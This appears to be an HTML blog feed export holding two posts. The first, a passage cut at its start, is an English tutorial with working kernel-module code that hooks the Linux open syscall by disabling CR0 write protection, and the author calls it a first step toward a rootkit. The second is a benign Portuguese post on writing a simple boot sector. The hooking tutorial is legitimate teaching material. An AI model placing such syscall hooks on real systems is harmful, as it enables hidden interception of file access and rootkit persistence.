<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">addr</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">cr0</span><span class="p">;</span>
<span class="n">syscall_table</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">**</span><span class="p">)</span><span class="n">find_sys_call_table</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">syscall_table</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printk</span><span class="p">(</span><span class="n">KERN_DEBUG</span> <span class="s">"Cannot find the system call address</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">cr0</span> <span class="o">=</span> <span class="n">read_cr0</span><span class="p">();</span>
<span class="n">write_cr0</span><span class="p">(</span><span class="n">cr0</span> <span class="o">&</span> <span class="o">~</span><span class="n">CR0_WP</span><span class="p">);</span>
<span class="n">addr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)</span><span class="n">syscall_table</span><span class="p">;</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">set_memory_rw</span><span class="p">(</span><span class="n">PAGE_ALIGN</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span> <span class="o">-</span> <span class="n">PAGE_SIZE</span><span class="p">,</span> <span class="mi">3</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">ret</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printk</span><span class="p">(</span><span class="n">KERN_DEBUG</span> <span class="s">"Cannot set the memory to rw (%d) at addr %16lX</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">ret</span><span class="p">,</span> <span class="n">PAGE_ALIGN</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span> <span class="o">-</span> <span class="n">PAGE_SIZE</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">printk</span><span class="p">(</span><span class="n">KERN_DEBUG</span> <span class="s">"3 pages set to rw"</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">orig_sys_open</span> <span class="o">=</span> <span class="n">syscall_table</span><span class="p">[</span><span class="n">__NR_open</span><span class="p">];</span>
<span class="n">syscall_table</span><span class="p">[</span><span class="n">__NR_open</span><span class="p">]</span> <span class="o">=</span> <span class="n">my_sys_open</span><span class="p">;</span>
<span class="n">write_cr0</span><span class="p">(</span><span class="n">cr0</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">static</span> <span class="kt">void</span> <span class="n">__exit</span> <span class="nf">syscall_release</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">cr0</span><span class="p">;</span>
<span class="n">cr0</span> <span class="o">=</span> <span class="n">read_cr0</span><span class="p">();</span>
<span class="n">write_cr0</span><span class="p">(</span><span class="n">cr0</span> <span class="o">&</span> <span class="o">~</span><span class="n">CR0_WP</span><span class="p">);</span>
<span class="n">syscall_table</span><span class="p">[</span><span class="n">__NR_open</span><span class="p">]</span> <span class="o">=</span> <span class="n">orig_sys_open</span><span class="p">;</span>
<span class="n">write_cr0</span><span class="p">(</span><span class="n">cr0</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">module_init</span><span class="p">(</span><span class="n">syscall_init</span><span class="p">);</span>
<span class="n">module_exit</span><span class="p">(</span><span class="n">syscall_release</span><span class="p">);</span>
</code></pre></div></div>
<p>Let’s first have a look at the find_syscall_table function.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="kt">long</span> <span class="o">**</span><span class="nf">find_sys_call_table</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">ptr</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="o">*</span><span class="n">p</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="n">ptr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)</span><span class="n">sys_close</span><span class="p">;</span>
<span class="n">ptr</span> <span class="o"><</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)</span><span class="o">&</span><span class="n">loops_per_jiffy</span><span class="p">;</span>
<span class="n">ptr</span> <span class="o">+=</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">))</span> <span class="p">{</span>
<span class="n">p</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">p</span><span class="p">[</span><span class="n">__NR_close</span><span class="p">]</span> <span class="o">==</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)</span><span class="n">sys_close</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printk</span><span class="p">(</span><span class="n">KERN_DEBUG</span> <span class="s">"Found the sys_call_table!!!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">return</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="o">**</span><span class="p">)</span><span class="n">p</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>What we are doing here is looking for the pointer to the <code class="language-plaintext highlighter-rouge">sys_call_table</code> symbol. With this table in hands we can overwrite its entries to have different functions called in place of the expected syscall.</p>
<p>The for loop starts looking at the address of the function sys_close and runs up to the address of the symbol loops_per_jiffy trying to find the sys_call_table symbol. I have set these two as start and end points based on my System.map (located on /boot/) file which has these entries:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ffffffff81175dc0 T sys_close
ffffffff81801300 R sys_call_table
ffffffff81c0f3a0 D loops_per_jiffy
</code></pre></div></div>
<p>As we can see the address of the <code class="language-plaintext highlighter-rouge">sys_call_table</code> is between <code class="language-plaintext highlighter-rouge">sys_close</code> and <code class="language-plaintext highlighter-rouge">loops_per_jiffy</code>. I believe this might be true for most kernels in the 3.x line, that is the reason why I have selected these addresses as the space to look for the <code class="language-plaintext highlighter-rouge">sys_call_table</code>.</p>
<p>The letter R before the <code class="language-plaintext highlighter-rouge">sys_call_table</code> means that this memory region is read-only so we will not be able to simply get the address to the syscall table and directly modify it.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="n">__init</span> <span class="nf">syscall_init</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">ret</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">addr</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">cr0</span><span class="p">;</span>
<span class="n">syscall_table</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">**</span><span class="p">)</span><span class="n">find_sys_call_table</span><span class="p">();</span>
<span class="p">...</span>
<span class="n">cr0</span> <span class="o">=</span> <span class="n">read_cr0</span><span class="p">();</span>
<span class="n">write_cr0</span><span class="p">(</span><span class="n">cr0</span> <span class="o">&</span> <span class="o">~</span><span class="n">CR0_WP</span><span class="p">);</span>
<span class="n">addr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)</span><span class="n">syscall_table</span><span class="p">;</span>
<span class="p">...</span>
<span class="n">orig_sys_open</span> <span class="o">=</span> <span class="n">syscall_table</span><span class="p">[</span><span class="n">__NR_open</span><span class="p">];</span>
<span class="n">syscall_table</span><span class="p">[</span><span class="n">__NR_open</span><span class="p">]</span> <span class="o">=</span> <span class="n">my_sys_open</span><span class="p">;</span>
<span class="n">write_cr0</span><span class="p">(</span><span class="n">cr0</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>As the <code class="language-plaintext highlighter-rouge">sys_call_table</code> is read-only we need to make it writeable. In order to do that, we need to make sure that the Write-Protect bit in cr0 is disabled. The register cr0 is a control register in the Intel architecture that contains a flag called WP on bit 16 (bit count starts at 0); when this flag is set to 1 any memory page that is set read-only cannot be changed to be writable, so we need to change this flag back to 0 before we can call <code class="language-plaintext highlighter-rouge">set_memory_rw</code> to make the <code class="language-plaintext highlighter-rouge">sys_call_table</code> writable again. Note that at the end of the function I set the cr0 register back to its original value as a good measure, meaning that the syscall table cannot be changed again.</p>
<p>At this point, we simply change the <code class="language-plaintext highlighter-rouge">sys_call_table</code> index we want to point to a function of ours that has THE SAME prototype as the original syscall in this index. Note that I am keeping the address of the original sycall saved, as we will probably want to call it inside our new function and as we will need to set it back inside the table when we remove this module.</p>
<p>For a list of the prototypes of each syscall, have a look into the file <em>include/linux/syscalls.h</em> in the source of the linux kernel. The list of syscall indexes (fox x64) can be found in the file <em>/usr/include/x86_64-linux-gnu/asm/unistd_64.h</em> on my system.</p>
<p>After all this is done we just need to make sure that when our module is removed we set back the correct address for the overwritten entry in the <code class="language-plaintext highlighter-rouge">sys_call_table</code>.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="n">__exit</span> <span class="nf">syscall_release</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">cr0</span><span class="p">;</span>
<span class="cm">/* Make the sys_call_table writable again */</span>
<span class="n">cr0</span> <span class="o">=</span> <span class="n">read_cr0</span><span class="p">();</span>
<span class="n">write_cr0</span><span class="p">(</span><span class="n">cr0</span> <span class="o">&</span> <span class="o">~</span><span class="n">CR0_WP</span><span class="p">);</span>
<span class="cm">/* Restore the old pointer */</span>
<span class="n">syscall_table</span><span class="p">[</span><span class="n">__NR_open</span><span class="p">]</span> <span class="o">=</span> <span class="n">orig_sys_open</span><span class="p">;</span>
<span class="cm">/* Bring cr0 back to what it was */</span>
<span class="n">write_cr0</span><span class="p">(</span><span class="n">cr0</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This is the first step into buidling a rootkit or a syscall proxy. So have fun and do not abuse the knowledge :P</p>
<p>The code with the makefile can be found at my <a href="https://github.com/typoon/lkms/tree/master/hook">GitHub</a></p>
<h3 id="references">References</h3>
<p>http://www.gadgetweb.de/linux/40-how-to-hijacking-the-syscall-table-on-latest-26x-kernel-systems.html</p>
<p>http://kerneltrap.org/mailarchive/linux-kernel/2008/1/25/612014</p>
<p>http://badishi.com/kernel-writing-to-read-only-memory/</p>
Bootstrap Simples2007-11-02T00:00:00+00:00https://www.gilgalab.com/blog/2007/11/02/bootstrap-simples<h1 id="introdução">Introdução</h1>
<p>Esse fim de semana andei estudando um pouco de assembly. Decidi fazer um bootstrap para ver se me animava um pouco, e acabou me voltando a vontade de realmente brincar de criar o meu sistema operacional. Como tudo precisa de um começo, decidi que o bootstrap seria um belo lugar para começar.<br />
Vejamos então como é que fazemos para dar um boot na maquina e o que é que a(o) BIOS (Basic Input Output System) espera para iniciar o sistema operacional.<br />
Quando o computador inicia e o POST termina, a BIOS faz uma chamada para ler o primeiro setor do disco que está definido como primário no setup. Funciona assim:</p>
<ol>
<li>Olha o primeiro setor do disco definido no setup</li>
<li>Encontrou setor de boot válido?</li>
<li>Sim. Lê o setor e carrega o código para o <del>segmento</del> endereço 7C00h na memória. (Valeu pela correção Muzgo :)</li>
<li>Não. Parte para o próximo dispositivo da lista de boot e vai para a) até encontrar.</li>
<li>Caso não encontre em nenhum dos dispositivos, exibe mensagem de erro padrão da BIOS.</li>
</ol>
<p>A Lista de software que usei:</p>
<ul>
<li>NASM - Para compilar o código</li>
<li>QEMU - Maquina virtual que uso para testar o setor de boot</li>
<li>dd - Utilizado para escrever os dados no disco</li>
</ul>
<h1 id="o-setor-de-boot">O setor de boot</h1>
<p>Quando definimos o disco no qual desejamos dar o boot, a BIOS chama uma interrupção (19h se nao me engano), para ler o primeiro setor desse disco. O primeiro setor é o que se encontra na posição CHS (Cylinder Head Sector) 0:0:1. Cada setor no disco tem 512 bytes, então como a BIOS lê o primeiro setor do disco, nosso ‘programa’ precisa ter 512 bytes ou menos. Meu objetivo aqui não é de falar muito sobre HCS, maiores informações você pode encontrar <a href="http://en.wikipedia.org/wiki/Cylinder-head-sector">aqui</a>.<br />
O que identifica se temos um setor de boot válido ou não?<br />
O setor de boot tem uma ‘assinatura’, os últimos dois bytes do setor devem ser ‘0xAA55’. Quando essa assinatura é encontrada, os 512 bytes são carregados para a memória na posição 7C00h e o programa é executado.</p>
<h1 id="o-código">O código</h1>
<p>Como já diria o conde Drácula em ‘Castlevania: Symphony of the Night’: “Enough talk!”.<br />
Vamos dar uma olhada então em um código bem simples, que imprime uma string na tela.</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">; Boot.asm</span>
<span class="k">ORG</span> <span class="mh">7C00h</span> <span class="c1">; Posição onde estaremos quando o código for</span>
<span class="c1">; carregado para a memória</span>
<span class="nl">mymsg:</span> <span class="kd">db</span> <span class="s">'Olá Setor de BOOT'</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">0</span>
<span class="nf">xor</span> <span class="nb">ax</span><span class="p">,</span><span class="nb">ax</span> <span class="c1">; Limpando ax</span>
<span class="nf">mov</span> <span class="nb">si</span><span class="p">,</span><span class="nv">mymsg</span> <span class="c1">; Nossa mensagem em SI</span>
<span class="nl">putstr:</span>
<span class="nf">lodsb</span> <span class="c1">; Coloca o byte apontado em SI em AL, e incrementa</span>
<span class="c1">; o contador</span>
<span class="nf">or</span> <span class="nb">al</span><span class="p">,</span><span class="nb">al</span> <span class="c1">; Verificamos se encontramos o byte '0' da string</span>
<span class="nf">jz</span> <span class="nv">hang</span><span class="c1">; ; Se sim, paramos de imprimir</span>
<span class="nf">mov</span> <span class="nb">ah</span><span class="p">,</span><span class="mh">0x0E</span> <span class="c1">; Função para escrever</span>
<span class="nf">mov</span> <span class="nb">bx</span><span class="p">,</span><span class="mh">0x0007</span> <span class="c1">; Define a página e a cor onde escrevemos</span>
<span class="nf">int</span> <span class="mh">0x10</span> <span class="c1">; Interrupção de video</span>
<span class="nf">jmp</span> <span class="nv">putstr</span> <span class="c1">; Imprimir proximo caracter</span>
<span class="nl">hang:</span>
<span class="nf">jmp</span> <span class="nv">hang</span> <span class="c1">; Após impressão, entramos em loop infinito</span>
<span class="kd">times</span> <span class="mi">512</span><span class="o">-</span><span class="p">(</span><span class="kc">$</span><span class="o">-</span><span class="kc">$$</span><span class="p">)</span><span class="o">-</span><span class="mi">2</span> <span class="nv">DB</span> <span class="mi">0</span> <span class="c1">; Preenchemos o resto da memória com '0's</span>
<span class="c1">; até 510 bytes</span>
<span class="kd">DW</span> <span class="mh">0xAA55</span> <span class="c1">; Assinatura do setor de boot</span>
</code></pre></div></div>
<p>Acredito que o código esteja auto explicativo. Você deve precisar manjar um pouco de assembly, então se não entendeu o código, procure estudar um pouquinho de assembly.<br />
Vamos agora compilar o nosso código, criar um disco para o QEMU, e escrever o nosso setor de boot no disco.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nasm boot.asm -f bin -o boot.bin
$ qemu-img create /tmp/boot.img -f qcow 1M
$ dd if=boot.bin of=/tmp/boot.img
</code></pre></div></div>
<p>Com isso feito, basta agora executar o QEMU e dizer que desejamos usar o arquivo /tmp/boot.img como nosso disco.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ qemu /tmp/boot.img -m 16
</code></pre></div></div>
<p>O resultado é a nossa frase impressa logo após a BIOS fazer o POST.</p>
<h1 id="colocando-código-no-disco">Colocando código no Disco</h1>
<p>Bom, agora que já sabemos dar o boot, está na hora de colocarmos código no disco e executar esse código. Esse é um processo um pouco mais complicado, mas vamos que vamos!<br />
A idéia agora é fazer com que o nosso programa de boot chame um binario que esteja gravado no disco e o execute. Então precisaremos escrever dois programas distintos: Um para ser o nosso setor de boot, e um que será chamado por ele. “Show me the code”</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">; Boot2.asm</span>
<span class="k">ORG</span> <span class="mh">7C00h</span>
<span class="nf">mov</span> <span class="nb">si</span><span class="p">,</span><span class="nv">msg</span>
<span class="nl">prntMsg:</span> <span class="c1">; Imprime a mensagem em SI</span>
<span class="nf">lodsb</span>
<span class="nf">mov</span> <span class="nb">ah</span><span class="p">,</span><span class="mh">0x0E</span>
<span class="nf">mov</span> <span class="nb">bx</span><span class="p">,</span><span class="mh">0x0007</span>
<span class="nf">int</span> <span class="mh">10h</span>
<span class="nf">or</span> <span class="nb">al</span><span class="p">,</span><span class="nb">al</span>
<span class="nf">jnz</span> <span class="nv">prntMsg</span>
<span class="nf">mov</span> <span class="p">[</span><span class="nv">drv</span><span class="p">],</span><span class="nb">dl</span> <span class="c1">; DL contém o identificador da unidade em que </span>
<span class="c1">; o setor de boot foi encontrado</span>
<span class="c1">; Inicializar o disco. Aqui colocamos a cabeça do disco no inicio dele</span>
<span class="nf">.diskSetup</span>
<span class="nf">mov</span> <span class="nb">ax</span><span class="p">,</span><span class="mi">0</span> <span class="c1">; Função para resetar o disco rígido</span>
<span class="nf">mov</span> <span class="nb">dl</span><span class="p">,[</span><span class="nv">drv</span><span class="p">]</span> <span class="c1">; O drive que vamos resetar</span>
<span class="nf">int</span> <span class="mh">13h</span> <span class="c1">; Chama a interrupção de disco</span>
<span class="nf">jc</span> <span class="nv">.diskSetup</span> <span class="c1">; Se der erro, tentamos de novo</span>
<span class="c1">; Após resetar o disco, colocaremos a cabeça no setor que o programa se </span>
<span class="c1">; encontra e carregamos o programa na memória</span>
<span class="nf">.diskRead</span>
<span class="nf">mov</span> <span class="nb">ah</span><span class="p">,</span><span class="mh">02h</span> <span class="c1">; Função para ler o disco</span>
<span class="nf">mov</span> <span class="nb">al</span><span class="p">,</span><span class="mi">3</span> <span class="c1">; Ler 3 setores (512 * 3 bytes)</span>
<span class="nf">mov</span> <span class="nb">ch</span><span class="p">,</span><span class="mi">0</span> <span class="c1">; Apontar para o cilindro 0</span>
<span class="nf">mov</span> <span class="nb">cl</span><span class="p">,</span><span class="mh">0x02</span> <span class="c1">; Ler a partir do setor 2 (2, 3 e 4)</span>
<span class="nf">mov</span> <span class="nb">dh</span><span class="p">,</span><span class="mi">0</span> <span class="c1">; Cabeça 0</span>
<span class="nf">mov</span> <span class="nb">dl</span><span class="p">,[</span><span class="nv">drv</span><span class="p">]</span> <span class="c1">; Disco de onde queremos ler os dados</span>
<span class="c1">; Os dados que lemos com essa função são armazenados em ES:BX</span>
<span class="c1">; No nosso caso aqui entao teremos 1000h:0</span>
<span class="nf">mov</span> <span class="nb">bx</span><span class="p">,</span><span class="mh">0x1000</span>
<span class="nf">mov</span> <span class="nb">es</span><span class="p">,</span><span class="nb">bx</span>
<span class="nf">mov</span> <span class="nb">bx</span><span class="p">,</span><span class="mi">0</span>
<span class="nf">int</span> <span class="mh">13h</span> <span class="c1">; Interrupção do disco</span>
<span class="nf">jc</span> <span class="nv">.diskRead</span> <span class="c1">; Em caso de erro, tenta de novo</span>
<span class="nf">jmp</span> <span class="mh">1000h</span><span class="p">:</span><span class="mi">0</span><span class="c1">; ; Aqui nós pulamos para o nosso código que acaba de ser</span>
<span class="c1">; carregado na memória</span>
<span class="nl">hang:</span>
<span class="nf">jmp</span> <span class="nv">hang</span> <span class="c1">; Loop infinito</span>
<span class="nf">drv</span> <span class="nv">db</span> <span class="mi">0</span>
<span class="nf">msg</span> <span class="nv">db</span> <span class="err">'</span><span class="nb">Ch</span><span class="nv">amando</span> <span class="nv">programa</span> <span class="nv">do</span> <span class="nv">HD</span><span class="err">'</span><span class="p">,</span><span class="mi">13</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">0</span>
<span class="kd">times</span> <span class="mi">512</span><span class="o">-</span><span class="p">(</span><span class="kc">$</span><span class="o">-</span><span class="kc">$$</span><span class="p">)</span><span class="o">-</span><span class="mi">2</span> <span class="nv">db</span> <span class="mi">0</span> <span class="c1">; Completa o espaço do setor que sobra com 0s</span>
<span class="kd">DW</span> <span class="mh">0xAA55</span> <span class="c1">; Assinatura do setor de boot nos ultimos dois bytes</span>
</code></pre></div></div>
<p>Esse código então, como da para perceber, lê o código do disco, coloca o código na posição de memória 1000h:0 e pula para lá para começar a execução. Bom, precisamos agora então do programa que desejamos ler do disco e executar. Esse programa, assim como o primeiro exemplo vai simplesmente imprimir uma mensagem na tela.</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">; Programa.asm</span>
<span class="nf">mov</span> <span class="nb">ax</span><span class="p">,</span> <span class="mh">1000h</span> <span class="c1">; Atualizar os registros de segmentos</span>
<span class="nf">mov</span> <span class="nb">ds</span><span class="p">,</span> <span class="nb">ax</span>
<span class="nf">mov</span> <span class="nb">es</span><span class="p">,</span> <span class="nb">ax</span>
<span class="nf">mov</span> <span class="nb">si</span><span class="p">,</span> <span class="nv">msg</span> <span class="c1">; Mensagem em SI</span>
<span class="nl">putstr:</span>
<span class="nf">lodsb</span>
<span class="nf">or</span> <span class="nb">al</span><span class="p">,</span><span class="nb">al</span>
<span class="nf">jz</span> <span class="nv">hang</span>
<span class="nf">mov</span> <span class="nb">ah</span><span class="p">,</span><span class="mh">0x0E</span>
<span class="nf">mov</span> <span class="nb">bx</span><span class="p">,</span><span class="mh">0x0007</span>
<span class="nf">int</span> <span class="mh">0x10</span>
<span class="nf">jmp</span> <span class="nv">putstr</span>
<span class="nl">hang:</span>
<span class="nf">jmp</span> <span class="nv">hang</span>
<span class="nf">msg</span> <span class="nv">db</span> <span class="s">'Bla bla bla!'</span><span class="p">,</span><span class="mi">13</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">0</span>
</code></pre></div></div>
<p>Nesse programa nós atualizamos os registros de segmento para o mesmo endereço onde carregamos o programa do nosso HD, e executamos a rotina basica de imprimir a mensagem na tela, e entrar em loop infinito.<br />
Para executar esse exemplo, os paso são parecidos. Vejamos:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nasm boot2.asm -f bin -o boot2.bin
$ nasm programa.asm -f bin -o programa.bin
$ qemu-img create ./boot2.img -f qcow 1M
$ dd if=boot2.bin of=./boot2.img
$ dd if=programa.bin of=./boot2.img bs=512 seek=1
$ qemu ./boot.img -m 16
</code></pre></div></div>
<p>O comando ‘$ dd if=programa.bin of=./boot2.img bs=512 seek=1’ coloca o nosso código no segundo setor do disco, pois conforme definimos em nosso código, é la que nosso bootstrap está esperando encontra-lo.</p>
<h1 id="conclusão">Conclusão</h1>
<p>Bom pessoal, é isso ai. Como o tpitulo disse, é um bootstrap simples, apenas para dar um gostinho de como funciona, e trazer mais animo para maiores pesquisas.<br />
Espero que tenham gostado e que possa ser útil para alguém.</p>
<p>Até o próxmo :D</p>